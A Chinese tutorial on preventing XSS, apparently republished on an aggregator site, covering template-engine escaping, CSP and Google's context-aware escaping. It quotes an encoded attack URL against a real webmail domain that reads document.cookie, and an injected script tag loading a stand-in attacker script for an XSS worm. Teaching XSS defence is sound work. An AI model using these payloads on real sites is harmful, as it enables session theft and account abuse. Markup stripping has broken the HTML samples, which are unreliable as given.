開啟模板引擎自帶的 HTML 轉(zhuǎn)義功能。例如:
在 ejs 中,盡量使用
<%= data %>
而不是<%- data %>
;在 doT.js 中,盡量使用
{{! data }
而不是{{= data }
;在 FreeMarker 中,確保引擎版本高于 2.3.24,并且選擇正確的
freemarker.core.OutputFormat
。
避免內(nèi)聯(lián)事件
盡量不要使用 onLoad="onload('{{data}}')"
、onClick="go('{{action}}')"
這種拼接內(nèi)聯(lián)事件的寫法。在 JavaScript 中通過(guò) .addEventlistener()
事件綁定會(huì)更安全。
避免拼接 HTML
前端采用拼接 HTML 的方法比較危險(xiǎn),如果框架允許,使用 createElement
、setAttribute
之類的方法實(shí)現(xiàn)?;蛘卟捎帽容^成熟的渲染框架,如 Vue/React 等。
時(shí)刻保持警惕
在插入位置為 DOM 屬性、鏈接等位置時(shí),要打起精神,嚴(yán)加防范。
增加攻擊難度,降低攻擊后果
通過(guò) CSP、輸入長(zhǎng)度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的后果。
主動(dòng)檢測(cè)和發(fā)現(xiàn)
可使用 XSS 攻擊字符串和自動(dòng)掃描工具尋找潛在的 XSS 漏洞。
攻擊者發(fā)現(xiàn) http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb
這個(gè) URL 的參數(shù) uin
、domain
未經(jīng)轉(zhuǎn)義直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個(gè) URL,并引導(dǎo)用戶去點(diǎn)擊: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點(diǎn)擊這個(gè) URL 時(shí),服務(wù)端取出 URL 參數(shù),拼接到 HTML 響應(yīng)中:
用戶點(diǎn)擊這個(gè) URL 時(shí),服務(wù)端取出請(qǐng)求 URL,拼接到 HTML 響應(yīng)中:
< script src = //xxxx.cn/image/t.js > script > ">按分類檢索 a > li > 瀏覽器接收到響應(yīng)后就會(huì)加載執(zhí)行惡意腳本
//xxxx.cn/image/t.js
,在惡意腳本中利用用戶的登錄狀態(tài)進(jìn)行關(guān)注、發(fā)微博、發(fā)私信等操作,發(fā)出的微博和私信可再帶上攻擊 URL,誘導(dǎo)更多人點(diǎn)擊,不斷放大攻擊范圍。這種竊用受害者身份發(fā)布惡意內(nèi)容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。擴(kuò)展閱讀:Automatic Context-Aware Escaping
上文我們說(shuō)到:
1.合適的 HTML 轉(zhuǎn)義可以有效避免 XSS 漏洞。
2.完善的轉(zhuǎn)義庫(kù)需要針對(duì)上下文制定多種規(guī)則,例如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等等。
3.業(yè)務(wù) RD 需要根據(jù)每個(gè)插入點(diǎn)所處的上下文,選取不同的轉(zhuǎn)義規(guī)則。
通常,轉(zhuǎn)義庫(kù)是不能判斷插入點(diǎn)上下文的(Not Context-Aware),實(shí)施轉(zhuǎn)義規(guī)則的責(zé)任就落到了業(yè)務(wù) RD 身上,需要每個(gè)業(yè)務(wù) RD 都充分理解 XSS 的各種情況,并且需要保證每一個(gè)插入點(diǎn)使用了正確的轉(zhuǎn)義規(guī)則。
這種機(jī)制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發(fā)現(xiàn)隱患。
2009年,Google 提出了一個(gè)概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說(shuō)模板引擎在解析模板字符串的時(shí)候,就解析模板語(yǔ)法,分析出每個(gè)插入點(diǎn)所處的上下文,據(jù)此自動(dòng)選用不同的轉(zhuǎn)義規(guī)則。這樣就減輕了業(yè)務(wù) RD 的工作負(fù)擔(dān),也減少了人為帶來(lái)的疏漏。
在一個(gè)支持 Automatic Context-Aware Escaping 的模板引擎里,業(yè)務(wù) RD 可以這樣定義模板,而無(wú)需手動(dòng)實(shí)施轉(zhuǎn)義規(guī)則:
< html >
< head >
< meta charset = "UTF-8" >
< title > {{.title}} title >
head >
< body >
< a href = "{{.url}}" > {{.content}} a >
body >
html >模板引擎經(jīng)過(guò)解析后,得知三個(gè)插入點(diǎn)所處的上下文,自動(dòng)選用相應(yīng)的轉(zhuǎn)義規(guī)則:
< html >
< head >
< meta charset = "UTF-8" >
< title > {{.title | htmlescaper}} title >
head >
< body >
< a href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}} a >
body >
html >目前已經(jīng)支持 Automatic Context-Aware Escaping 的模板引擎有:
1.go html/template
2.Google Closure Templates
上述就是小編為大家分享的如何防止XSS攻擊了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
本文題目:如何防止XSS攻擊
本文網(wǎng)址:http://weahome.cn/article/iedsco.html